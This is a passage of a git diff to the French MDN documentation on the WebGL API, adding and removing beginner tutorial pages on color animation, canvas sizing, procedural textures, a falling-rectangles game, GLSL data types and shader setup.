+    drawAnimation();
+  }
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    document.querySelector("strong").innerHTML = "lancer";
+    clearInterval(timer);
+  }
+  stopAnimation({type: "click"});
+}
+
+// Les variables qui permettront de stocker la taille
+// et la vitesse du carré.
+var size = [60, 60],
+  velocity = 3.0;
+function drawAnimation () {
+  gl.scissor(position[0], position[1], size[0] , size[1]);
+  gl.clear(gl.COLOR_BUFFER_BIT);
+  // À chaque frame, on définit une position plus basse
+  // pour le carré, c'est cela qui crée une illusion
+  // de mouvement.
+  position[1] -= velocity;
+  // Lorsque le carré atteint le bas, on crée un nouveau
+  // carré avec une nouvelle vitesse et une nouvelle
+  // couleur.
+  if (position[1] < 0) {
+    // La position horizontale est choisie aléatoirement.
+    // La position verticale correspond au haut
+    // du buffer de dessin.
+    position = [
+      Math.random()*(gl.drawingBufferWidth - size[0]),
+      gl.drawingBufferHeight
+    ];
+    // Ici on détermine une vitesse aléatoire
+    // comprise entre 1.0 et 7.0
+    velocity = 1.0 + 6.0*Math.random();
+    color = getRandomColor();
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+  }
+}
+
+function getRandomColor() {
+  return [Math.random(), Math.random(), Math.random()];
+}
+
+ + + + + +

Le code source de cet exemple est également disponible sur GitHub.

+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Modèle_1","Apprendre/WebGL/Par_exemple/Une_pluie_de_rectangle")}}

diff --git a/files/fr/web/api/webgl_api/by_example/simple_color_animation/index.html b/files/fr/web/api/webgl_api/by_example/simple_color_animation/index.html new file mode 100644 index 0000000000..a38d174808 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/simple_color_animation/index.html @@ -0,0 +1,139 @@ +--- +title: Créer une animation colorée +slug: Web/API/WebGL_API/By_example/Créer_une_animation_colorée +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Simple_color_animation +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_à_la_souris","Apprendre/WebGL/Par_exemple/Masque_de_couleur")}}

+ +

Dans cet exemple, on crée une animation avec des couleurs en appliquant chaque seconde une couleur aléatoire dans le contexte de rendu {{Glossary("WebGL")}}.

+ +

{{EmbedLiveSample("Créer_une_animation_avec_clear",660,425)}}

+ +

Créer une animation avec clear

+ +

Cet exemple illustre comment lancer une animation avec WebGL et gérer les interactions de l'utilisateur. L'utilisateur peut lancer, arrêter et reprendre l'animation en cliquant sur le bouton.

+ +

Cette fois, on place les appels à la fonction WebGL à l'intérieur d'un gestionnaire d'événement de timer. Un gestionnaire d'événements pour les clics permet de gérer les interactions simples (lancer et arrêter l'animation). Le timer et la fonction de gestion du timer créent une boucle d'animation qui permet d'exécuter un ensemble de commandes pour le dessin à des intervalles réguliers (généralement, pour chaque frame, dans ce cas, on a une fréquence d'une frame par seconde).

+ +
<p>Un programme WebGL simple qui crée une animation colorée.</p>
+<p>Vous pouvez sur le bouton pour activer/désactiver l'animation.</p>
+<canvas id="canvas-view">Il semblerait que votre navigateur ne
+    supporte pas l'élément canvas.</canvas>
+<button id="animation-onoff">
+  Cliquez ici pour
+<strong>[le verbe de l'action]</strong>
+  l'animation
+</button>
+
+ +
body {
+  text-align : center;
+}
+button {
+  display : inline-block;
+  font-size : inherit;
+  margin : auto;
+  padding : 0.6em;
+}
+canvas {
+  display : block;
+  width : 280px;
+  height : 210px;
+  margin : auto;
+  padding : 0;
+  border : none;
+  background-color : black;
+}
+
+ +
window.addEventListener("load", function setupAnimation (evt) {
+  "use strict"
+  window.removeEventListener(evt.type, setupAnimation, false);
+
+  // Une variable pour gérer le timer qui contrôle
+  // l'animation.
+  var timer;
+
+  // On ajoute un gestionnaire d'événement pour le clic.
+  var button = document.querySelector("#animation-onoff");
+  var verb = document.querySelector("strong");
+  function startAnimation(evt) {
+    button.removeEventListener(evt.type, startAnimation, false);
+    button.addEventListener("click", stopAnimation, false);
+    verb.innerHTML="arrêter";
+
+    // On place une boucle d'animation : on repeint
+    // environ chaque seconde.
+    timer = setInterval(drawAnimation, 1000);
+
+    // On dessine une frame d'animation afin de
+    // fournir un feedback à l'utilisateur.
+    drawAnimation();
+  }
+
+  function stopAnimation(evt) {
+    button.removeEventListener(evt.type, stopAnimation, false);
+    button.addEventListener("click", startAnimation, false);
+    verb.innerHTML="lancer";
+    // On arrête l'animation en réinitialisant le timer.
+    clearInterval(timer);
+  }
+
+  // On appelle stopAnimation() une fois pour mettre en place
+  // les gestionnaires d'événement pour le canevas et le bouton.
+  stopAnimation({type: "click"});
+
+  var gl;
+  function drawAnimation () {
+    if (!gl) {
+      var canvas = document.getElementById("canvas-view");
+      gl = canvas.getContext("webgl")
+        ||canvas.getContext("experimental-webgl");
+      if (!gl) {
+
+        // On ne veut pas avoir plusieurs messages d'alerte
+        // donc on arrête l'animation en réinitialisant le
+        // timer.
+        clearInterval(timer);
+        alert("Échec du chargement du contexte WebGL.\n"
+          + "Votre navigateur peut ne pas supporter WebGL.");
+        return;
+
+      }
+      gl.viewport(0, 0,
+        gl.drawingBufferWidth, gl.drawingBufferHeight);
+    }
+
+    // On génère une couleur aléatoire avec une fonction
+    // auxiliaire.
+    var color = getRandomColor();
+
+    // On applique la couleur obtenue dans le
+    // contexte WebGLRenderingContext
+    gl.clearColor(color[0], color[1], color[2], 1.0);
+
+    // On propage le changement dans le contexte
+    // avec la méthode clear.
+    gl.clear(gl.COLOR_BUFFER_BIT);
+  }
+
+  // Une fonction auxiliaire qui fournit une
+  // couleur aléatoire.
+  function getRandomColor() {
+    return [Math.random(), Math.random(), Math.random()];
+  }
+}, false);
+
+ +

Le code source de cet exemple est également disponible sur GitHub.

+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_une_couleur_à_la_souris","Apprendre/WebGL/Par_exemple/Masque_de_couleur")}}

diff --git a/files/fr/web/api/webgl_api/by_example/tailles_de_canvas_et_webgl/index.html b/files/fr/web/api/webgl_api/by_example/tailles_de_canvas_et_webgl/index.html deleted file mode 100644 index 086e0394a7..0000000000 --- a/files/fr/web/api/webgl_api/by_example/tailles_de_canvas_et_webgl/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Tailles de canvas et WebGL -slug: Web/API/WebGL_API/By_example/Tailles_de_canvas_et_WebGL -tags: - - Apprendre - - Débutant - - Exemple - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Canvas_size_and_WebGL ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples","Apprendre/WebGL/Par_exemple/Modèle_1")}}

- -

{{EmbedLiveSample("Les_effets_liés_à_la_taille_du_canevas_sur_le_rendu_avec_WebGL",660,180)}}

- -

Dans cet exemple, on observe l'effet obtenu quand on définit (ou non) la taille du canevas HTML avec sa taille {{Glossary("CSS")}} (exprimée en pixels CSS), tel qu'il apparaît dans la fenêtre du navigateur.

- -

Les effets liés à la taille du canevas sur le rendu avec WebGL

- -

Grâce aux méthodes {{domxref("WebGLRenderingContext.scissor()","scissor()")}} et {{domxref("WebGLRenderingContext.clear()","clear()")}} on peut démontrer que le tampon (buffer) de dessin WebGL est affecté par la taille du canevas (l'élément HTML canvas).

- -

La taille du premier canevas est définie avec la taille de l'élément, mis en forme, qui est déterminée par {{Glossary("CSS")}}. Pour cela, on affecte respectivement les valeurs {{domxref("Element.clientWidth","clientWidth")}} and {{domxref("Element.clientHeight","clientHeight")}} aux propriétés {{domxref("HTMLCanvasElement.width","width")}} et {{domxref("HTMLCanvasElement.height","height")}}.

- -

Pour le deuxième canevas, on n'applique pas ce traitement, c'est donc les dimensions internes du canevas : {{domxref("HTMLCanvasElement.width","width")}} et {{domxref("HTMLCanvasElement.height","height")}} qui sont prises en compte. Celles-ci sont différentes des dimensions de l'élément canvas affiché dans le fenêtre du navigateur.

- -

L'effet devient visible quand on utilise les méthodes {{domxref("WebGLRenderingContext.scissor()","scissor()")}} et {{domxref("WebGLRenderingContext.clear()","clear()")}} pour dessiner un carré au centre du canevas en définissant sa position et sa taille en pixels. Dans le premier canevas, on obtient bien le bon résultat et dans le deuxième, on a la mauvaise forme, la mauvaise taille et la mauvaise position.

- -
<p>On compare les deux canevas.</p>
-<canvas>Votre navigateur ne semble pas
-    supporter l'élément HTML5 canvas.</canvas>
-<canvas>Votre navigateur ne semble pas
-    supporter l'élément HTML5 canvas.</canvas>
-
- -
body {
-  text-align : center;
-}
-canvas {
-  width : 120px;
-  height : 80px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
-}
-
- -
window.addEventListener("load", function() {
-  "use strict"
-  var firstCanvas = document.getElementsByTagName("canvas")[0],
-    secondCanvas = document.getElementsByTagName("canvas")[1];
-
-  // Ici on applique le traitement spécifique au premier
-  // canevas
-  firstCanvas.width = firstCanvas.clientWidth;
-  firstCanvas.height = firstCanvas.clientHeight;
-
-  // Ensuite on traite les deux canevas de la même façon
-  [firstCanvas, secondCanvas].forEach(function(canvas) {
-    var gl = canvas.getContext("webgl")
-      || canvas.getContext("experimental-webgl");
-    if (!gl) {
-      document.querySelector("p").innerHTML =
-        "Échec de l'obtention du contexte WebGL. "
-        + "Votre navigateur peut ne pas supporter WebGL.";
-      return;
-    }
-    gl.viewport(0, 0,
-      gl.drawingBufferWidth, gl.drawingBufferHeight);
-    gl.enable(gl.SCISSOR_TEST);
-    gl.scissor(30, 10, 60, 60);
-    gl.clearColor(1.0, 1.0, 0.0, 1.0);
-    gl.clear(gl.COLOR_BUFFER_BIT);
-  });
-}, false);
-
- -

Le code source de cet exemple est également disponible sur GitHub.

- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Appliquer_des_découpes_simples","Apprendre/WebGL/Par_exemple/Modèle_1")}}

diff --git a/files/fr/web/api/webgl_api/by_example/textures_from_code/index.html b/files/fr/web/api/webgl_api/by_example/textures_from_code/index.html new file mode 100644 index 0000000000..cd7d71f0c5 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/textures_from_code/index.html @@ -0,0 +1,164 @@ +--- +title: Générer des textures avec du code +slug: Web/API/WebGL_API/By_example/Générer_des_textures_avec_du_code +tags: + - Apprendre + - Débutant + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Textures_from_code +--- +
{{draft}}{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Introduction_aux_attributs_vertex","Apprendre/WebGL/Par_exemple/Les_textures_vidéos")}}

+ +

Dans cet article, on illustre simplement comment générer des textures procédurales avec des fragments de shaders.

+ +

{{EmbedLiveSample("Dessiner_des_textures_avec_du_code",660,350)}}

+ +

Dessiner des textures avec du  code

+ +

Il est possible d'appliquer des textures en effectuant des calculs pour chaque pixel du fragment de shader.

+ + + + + +
<script type="x-shader/x-vertex" id="vertex-shader">
+#version 100
+precision highp float;
+void main() {
+  gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
+  gl_PointSize = 128.0;
+}
+</script>
+
+ +
<script type="x-shader/x-fragment" id="fragment-shader">
+#version 100
+precision mediump float;
+// On définit une variation radiale (à partir du centre)
+void main() {
+  vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0;
+  float distance = length(fragmentPosition);
+  float distanceSqrd = distance * distance;
+  gl_FragColor = vec4(
+    0.2/distanceSqrd,
+    0.1/distanceSqrd,
+    0.0, 1.0 );
+}
+</script>
+
+ + + +
"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+  program;
+function setupWebGL (evt) {
+  window.removeEventListener(evt.type, setupWebGL, false);
+  if (!(gl = getRenderingContext()))
+    return;
+
+  var source = document.querySelector("#vertex-shader").innerHTML;
+  var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+  gl.shaderSource(vertexShader,source);
+  gl.compileShader(vertexShader);
+  source = document.querySelector("#fragment-shader").innerHTML
+  var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+  gl.shaderSource(fragmentShader,source);
+  gl.compileShader(fragmentShader);
+  program = gl.createProgram();
+  gl.attachShader(program, vertexShader);
+  gl.attachShader(program, fragmentShader);
+  gl.linkProgram(program);
+  gl.detachShader(program, vertexShader);
+  gl.detachShader(program, fragmentShader);
+  gl.deleteShader(vertexShader);
+  gl.deleteShader(fragmentShader);
+  if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+    var linkErrLog = gl.getProgramInfoLog(program);
+    cleanup();
+    document.querySelector("p").innerHTML =
+      "La liaison du programme de shader a échoué. "
+      + "Journal d'erreur : " + linkErrLog;
+    return;
+  }
+  initializeAttributes();
+  gl.useProgram(program);
+  gl.drawArrays(gl.POINTS, 0, 1);
+  cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+  gl.enableVertexAttribArray(0);
+  buffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 0.0]), gl.STATIC_DRAW);
+  gl.vertexAttribPointer(0, 2, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+  gl.deleteBuffer(buffer);
+if (program)
+  gl.deleteProgram(program);
+}
+
+ + + + + +

Le code source de cet exemple est également disponible sur GitHub.

+ +

{{PreviousNext("Apprendre/WebGL/Par_exemple/Introduction_aux_attributs_vertex","Apprendre/WebGL/Par_exemple/Les_textures_vidéos")}}

diff --git a/files/fr/web/api/webgl_api/by_example/une_pluie_de_rectangle/index.html b/files/fr/web/api/webgl_api/by_example/une_pluie_de_rectangle/index.html deleted file mode 100644 index e9f9bcdf8c..0000000000 --- a/files/fr/web/api/webgl_api/by_example/une_pluie_de_rectangle/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: Une pluie de rectangle -slug: Web/API/WebGL_API/By_example/Une_pluie_de_rectangle -tags: - - Apprendre - - Débutant - - Exemple - - Graphisme - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/By_example/Raining_rectangles ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique","Apprendre/WebGL/Par_exemple/Hello_GLSL")}}

- -

Cet exemple permet de créer un jeu simple qui illustre ce qu'il est possible de faire avec du « découpage », des animations et des interactions utilisateur.

- -

{{EmbedLiveSample("Utiliser_des_animations_et_des_interactions_grâce_à_des_découpes",660,425)}}

- -

Utiliser des animations et des interactions grâce à des découpes

- -

Voici un jeu simple où il faut essayer de cliquer sur les rectangles qui tombent pour en attraper le plus possible. Dans cet exemple, on utilise un approche orientée objet pour représenter les rectangles. Cela permet de mieux gérer l'état du rectangle (sa position, sa couleur, etc.) et cela rend le code plus compact et plus facile à réutiliser.

- -

Dans cet exemple, on combine l'applique de couleurs unis dans le tampon de dessin et des opérations de découpe. C'est un aperçu d'une application graphique complète qui manipule les différentes phases des processus {{Glossary("WebGL")}} et de son automate.

- -

De plus, cet exmple illustre comment intégrer des fonctions WebGL dans une boucle de jeu. La boucle de jeu est responsable du dessin pour l'animation, de la gestion des entrées utilisateur et de la réactivité de l'ensemble. Voici comment la boucle de jeu est implémentée avec des  setTimeout.

- - - - - - - -
"use strict"
-window.addEventListener("load", setupAnimation, false);
-var gl,
-  timer,
-  rainingRect,
-  scoreDisplay,
-  missesDisplay;
-function setupAnimation (evt) {
-  window.removeEventListener(evt.type, setupAnimation, false);
-  if (!(gl = getRenderingContext()))
-    return;
-  gl.enable(gl.SCISSOR_TEST);
-
-  rainingRect = new Rectangle();
-  timer = setTimeout(drawAnimation, 17);
-  document.querySelector("canvas")
-      .addEventListener("click", playerClick, false);
-  var displays = document.querySelectorAll("strong");
-  scoreDisplay = displays[0];
-  missesDisplay = displays[1];
-}
-
-var score = 0,
-  misses = 0;
-function drawAnimation () {
-  gl.scissor(rainingRect.position[0], rainingRect.position[1],
-      rainingRect.size[0] , rainingRect.size[1]);
-  gl.clear(gl.COLOR_BUFFER_BIT);
-  rainingRect.position[1] -= rainingRect.velocity;
-  if (rainingRect.position[1] < 0) {
-    misses += 1;
-    missesDisplay.innerHTML = misses;
-    rainingRect = new Rectangle();
-  }
-  // On utilise la fonction setTimeout pour l'animation
-  // et on appelle ainsi la fonction drawAnimation toutes
-  // les 17ms, sinon, on n'aurait pas d'animation.
-  timer = setTimeout(drawAnimation, 17);
-}
-
-function playerClick (evt) {
-  // Il est nécessaire de transfomer la position de l'événement
-  // déclenché par le clic, exprimée dans le repèree de la fenêtre
-  // pour obtenir la position relative au canevas.
-  // De plus, on rappelle qu'avec WebGL les ordonnées croissent
-  // selon l'axe vertical, c'est-à-dire l'inverse du système
-  // utilisé pour la fenêtre du navigateur.
-  var position = [
-      evt.pageX - evt.target.offsetLeft,
-      gl.drawingBufferHeight - (evt.pageY - evt.target.offsetTop),
-    ];
-  // si le clic est sur un rectangle, on l'attrape.
-  // On incrémente donc le score et on crée un nouveau rectangle
-  var diffPos = [ position[0] - rainingRect.position[0],
-      position[1] - rainingRect.position[1] ];
-  if ( diffPos[0] >= 0 && diffPos[0] < rainingRect.size[0]
-      && diffPos[1] >= 0 && diffPos[1] < rainingRect.size[1] ) {
-    score += 1;
-    scoreDisplay.innerHTML = score;
-    rainingRect = new Rectangle();
-  }
-}
-
-function Rectangle () {
-  // On garde une référence au nouvel objet Rectangle
-  // plutôt que de risquer une confusion avec this.
-  var rect = this;
-  // On prend trois nombres aléatoires pour la taille
-  // et la position du nouveau rectangle. On utilise
-  // un nombre différent pour la position et la taille
-  // car on veut que celles-ci soient indépendantes.
-  var randNums = getRandomVector();
-  rect.size = [
-    5 + 120 * randNums[0],
-    5 + 120 * randNums[1]
-  ];
-  rect.position = [
-    randNums[2]*(gl.drawingBufferWidth - rect.size[0]),
-    gl.drawingBufferHeight
-  ];
-  rect.velocity = 1.0 + 6.0*Math.random();
-  rect.color = getRandomVector();
-  gl.clearColor(rect.color[0], rect.color[1], rect.color[2], 1.0);
-  function getRandomVector() {
-    return [Math.random(), Math.random(), Math.random()];
-  }
-}
-
- - - - - -

Le code source de cet exemple est également disponible sur GitHub.

- -

{{PreviousNext("Apprendre/WebGL/Par_exemple/Créer_une_animation_avec_découpe_et_applique","Apprendre/WebGL/Par_exemple/Hello_GLSL")}}

diff --git a/files/fr/web/api/webgl_api/by_example/video_textures/index.html b/files/fr/web/api/webgl_api/by_example/video_textures/index.html new file mode 100644 index 0000000000..ab1ea5a388 --- /dev/null +++ b/files/fr/web/api/webgl_api/by_example/video_textures/index.html @@ -0,0 +1,23 @@ +--- +title: Les textures vidéos +slug: Web/API/WebGL_API/By_example/Les_textures_vidéos +tags: + - Apprendre + - Avancé + - Exemple + - Graphisme + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/By_example/Video_textures +--- +
{{draft}}{{IncludeSubnav("/fr/Apprendre")}}
+ +

{{Previous("Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}

+ +

Cet exemple illustre comment utiliser des fichiers vidéos comme textures.

+ +

Des textures à partir de vidéos

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510)}}

+ +

{{Previous("Apprendre/WebGL/Par_exemple/Générer_des_textures_avec_du_code")}}

diff --git a/files/fr/web/api/webgl_api/data/index.html b/files/fr/web/api/webgl_api/data/index.html new file mode 100644 index 0000000000..f41b0e2f1d --- /dev/null +++ b/files/fr/web/api/webgl_api/data/index.html @@ -0,0 +1,56 @@ +--- +title: Les données en WebGL +slug: Web/API/WebGL_API/Données +tags: + - 3D + - API WebGL + - Attributs + - BesoinDExemple + - BesoinDeContenu + - Graphismes + - Graphismes 3D + - Guide + - Intermédiaire + - Uniformes + - Variants + - WebGL + - dessin +translation_of: Web/API/WebGL_API/Data +--- +
{{WebGLSidebar}}{{draft}}
+ +

Les programmes shaders ont accès à trois types de stockage de données, chacun d'entre eux ayant un usage particulier. Chaque type de variable est accessible par l'un des types de programmes de shader ou par les deux (en fonction du type de stockage de données), et éventuellement, par le code JavaScript du site, suivant le type de variable particulier.

+ +

Types de données GLSL

+ +

<<documenter les types de base, les vecteurs, etc. ; voir Data Type (GLSL)  sur le wiki WebGL de Khronos >>

+ +

Variables GLSL

+ +

Il existe trois types de stockage "variable" ou de stockage de données dans GLSL, chacun ayant son propre but et ses propres cas d'utilisation : {{anch("Attributes", "attributes")}}, {{anch("Varyings", "varyings")}}, et {{anch("Uniforms", "uniforms")}}.

+ +

Attributes

+ +

Les attributes sont des variables GLSL qui ne sont disponibles que pour le shader de sommet (en tant que variables) et le code JavaScript. Les attributs sont généralement utilisés pour stocker des informations de couleur, des coordonnées de texture et toutes les autres données calculées ou récupérées qui doivent être partagées entre le code JavaScript et le shader de sommet.

+ +

<<add how to use them>>

+ +

Varyings

+ +

Les varyings sont des variables déclarées par le shader de sommet et elle sont utilisées pour transmettre des données du shader de sommet au shader de fragment. Ceci est communément utilisé pour partager un sommet {{interwiki ("wikipedia", "Normal_ (géométrie)", "vecteur normal")}} après qu'il a été calculé par le shader de sommet.

+ +

<<how to use>>

+ +

Uniforms

+ +

Les uniforms sont définis par le code JavaScript et sont disponibles à la fois pour le shader de sommet et pour celui de fragment. Ils sont utilisés pour fournir des valeurs qui seront les mêmes pour tout ce qui est dessiné dans le cadre, telles que les positions et les intensités d'éclairage, la transformation globale et les détails de la perspective, et ainsi de suite.

+ +

<<add details>>

+ +

Tampons

+ +

<<add information>>

+ +

Textures

+ +

<<add information>>

diff --git "a/files/fr/web/api/webgl_api/donn\303\251es/index.html" "b/files/fr/web/api/webgl_api/donn\303\251es/index.html" deleted file mode 100644 index f41b0e2f1d..0000000000 --- "a/files/fr/web/api/webgl_api/donn\303\251es/index.html" +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Les données en WebGL -slug: Web/API/WebGL_API/Données -tags: - - 3D - - API WebGL - - Attributs - - BesoinDExemple - - BesoinDeContenu - - Graphismes - - Graphismes 3D - - Guide - - Intermédiaire - - Uniformes - - Variants - - WebGL - - dessin -translation_of: Web/API/WebGL_API/Data ---- -
{{WebGLSidebar}}{{draft}}
- -

Les programmes shaders ont accès à trois types de stockage de données, chacun d'entre eux ayant un usage particulier. Chaque type de variable est accessible par l'un des types de programmes de shader ou par les deux (en fonction du type de stockage de données), et éventuellement, par le code JavaScript du site, suivant le type de variable particulier.

- -

Types de données GLSL

- -

<<documenter les types de base, les vecteurs, etc. ; voir Data Type (GLSL)  sur le wiki WebGL de Khronos >>

- -

Variables GLSL

- -

Il existe trois types de stockage "variable" ou de stockage de données dans GLSL, chacun ayant son propre but et ses propres cas d'utilisation : {{anch("Attributes", "attributes")}}, {{anch("Varyings", "varyings")}}, et {{anch("Uniforms", "uniforms")}}.

- -

Attributes

- -

Les attributes sont des variables GLSL qui ne sont disponibles que pour le shader de sommet (en tant que variables) et le code JavaScript. Les attributs sont généralement utilisés pour stocker des informations de couleur, des coordonnées de texture et toutes les autres données calculées ou récupérées qui doivent être partagées entre le code JavaScript et le shader de sommet.

- -

<<add how to use them>>

- -

Varyings

- -

Les varyings sont des variables déclarées par le shader de sommet et elle sont utilisées pour transmettre des données du shader de sommet au shader de fragment. Ceci est communément utilisé pour partager un sommet {{interwiki ("wikipedia", "Normal_ (géométrie)", "vecteur normal")}} après qu'il a été calculé par le shader de sommet.

- -

<<how to use>>

- -

Uniforms

- -

Les uniforms sont définis par le code JavaScript et sont disponibles à la fois pour le shader de sommet et pour celui de fragment. Ils sont utilisés pour fournir des valeurs qui seront les mêmes pour tout ce qui est dessiné dans le cadre, telles que les positions et les intensités d'éclairage, la transformation globale et les détails de la perspective, et ainsi de suite.

- -

<<add details>>

- -

Tampons

- -

<<add information>>

- -

Textures

- -

<<add information>>

diff --git a/files/fr/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/fr/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html new file mode 100644 index 0000000000..c7afe5f9ae --- /dev/null +++ b/files/fr/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html @@ -0,0 +1,307 @@ +--- +title: Ajouter du contenu à WebGL +slug: Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL +tags: + - 3D + - API WebGL + - Graphismes + - Graphismes 2D + - Graphismes 3D + - Intermédiaire + - Shaders + - Tutoriel + - WebGL + - dessin +translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}

+ +

Une fois que vous avez correctement créé un contexte WebGL, vous pouvez commencer à y dessiner. Une chose simple que nous pouvons faire est de dessiner un simple carré 2D sans texture, commençons donc par là, en construisant un code pour dessiner un carré 2D.

+ +

Dessiner la scène

+ +

La chose la plus importante à comprendre avant que nous ne commencions est que, bien que nous dessinions seulement un carré 2D dans cet exemple, nous sommes toujours en train de dessiner dans un espace 3D. Nous dessinons juste un carré et nous le mettons exactement en face de la caméra, perpendiculairement à la direction de vision. Nous avons besoin de définir les shaders qui créeront la couleur pour notre scène simple, et qui dessineront notre objet. Cela définira comment notre carré 2D apparaîtra à l'écran.

+ +

Les shaders

+ +

Un shader est un programme, écrit en utilisant le OpenGL ES Shading Language (GLSL), qui utilise les informations des sommets constituant une forme, et qui génère les données nécessaires pour faire un rendu des pixels à l'écran : nommément, les positions des pixels et leurs couleurs.

+ +

Deux fonctions de shader sont exécutées lors du dessin d'un contenu WebGL : le shader  de sommet et le shader de fragment. Vous les écrivez en GLSL et vous passez le texte du code à WebGL pour qu'il soit compilé pour exécution dans la GPU. Pris conjointement, un ensemble de shaders de sommet et de fragment sont appelés un programme shader.

+ +

Jetons un coup d'œil rapide aux deux types de shaders, en gardant présent à l'esprit l'exemple du dessin d'une forme 2D dans le contexte WebGL.

+ +

Le shader de sommet

+ +

Chaque fois qu'une forme est rendue, le shader de sommet est exécuté pour chaque sommet de la forme. Son travail consiste à effectuer les transformations souhaitées sur la position du sommet.

+ +

Les informations de position sont stockées dans une variable spéciale fournie par GLSL, appelée gl_Position.

+ +

Le shader de sommet peut, au besoin, aussi faire des choses comme déterminer les coordonnées dans la texture des faces du {{interwiki ("wikipedia", "texel")}} à appliquer au sommet, appliquer les normales pour déterminer le facteur d'éclairage à appliquer au sommet, et ainsi de suite. Ces informations peuvent alors être stockées dans des variations ou des attributs comme approprié, pour être partagées avec le shader de fragment.

+ +

Notre shader de sommet ci-dessous reçoit des valeurs de position de sommet à partir d'un attribut que nous définissons, appelé aVertexPosition. Cette position est ensuite multipliée par deux matrices 4x4 que nous fournissons, appelées uProjectionMatrix et uModelMatrix ; gl_Position est définie comme étant le résultat. Pour plus d'informations sur la projection et autres matrices, vous pourriez trouver cet article utile.

+ +
// Programme shader de sommet
+
+const vsSource = `
+  attribute vec4 aVertexPosition;
+
+  uniform mat4 uModelViewMatrix;
+  uniform mat4 uProjectionMatrix;
+
+  void main() {
+    gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+  }
+`;
+ +

Dans cet exemple, nous ne calculons pas d'éclairage du tout, puisque nous n'en avons pas encore appliqué à la scène. Cela viendra plus tard, dans l'exemple Éclairage en WebGL. Notez également l'absence de tout travail sur les textures ici ; cela sera ajouté dans Utilisation de textures en WebGL.

+ +

Le shader de fragment

+ +

Le shader de fragment est appelé une fois pour chaque pixel de chaque forme à dessiner, une fois que les sommets de la forme ont été traités par le shader de sommet. Son travail consiste à déterminer la couleur de ce pixel en déterminant quel texel (c'est-à-dire le pixel de la texture de la forme) appliquer au pixel, à obtenir la couleur de ce texel, puis à appliquer l'éclairage approprié à la couleur. La couleur est ensuite renvoyée à la couche WebGL en la stockant dans la variable spéciale gl_FragColor. Cette couleur est alors dessinée à l'écran dans la position correcte pour le pixel correspondant de la forme.

+ +

Dans ce cas, nous retournons simplement du blanc à chaque fois, car nous sommes seulement en train de dessiner un carré blanc, sans éclairage.

+ +
  const fsSource = `
+    void main() {
+      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+    }
+  `;
+
+ +

Initialisation des shaders

+ +

Maintenant que nous avons défini les deux shaders, nous devons les transmettre à WebGL, les compiler et les lier ensemble. Le code ci-dessous crée les deux shaders en appelant loadShader(), lui passant le type et la source du shader. Il crée alors un programme, attache les shaders et les relie ensemble. Si la compilation ou la liaison échoue, le code affiche une alerte.

+ +
//
+// Initialiser un programme shader, de façon à ce que WebGL sache comment dessiner nos données
+//
+function initShaderProgram(gl, vsSource, fsSource) {
+  const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
+  const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);
+
+  // Créer le programme shader
+
+  const shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // Si la création du programme shader a échoué, alerte
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert('Impossible d'initialiser le programme shader : ' + gl.getProgramInfoLog(shaderProgram));
+    return null;
+  }
+
+  return shaderProgram;
+}
+
+//
+// Crée un shader du type fourni, charge le source et le compile.
+//
+function loadShader(gl, type, source) {
+  const shader = gl.createShader(type);
+
+  // Envoyer le source à l'objet shader
+
+  gl.shaderSource(shader, source);
+
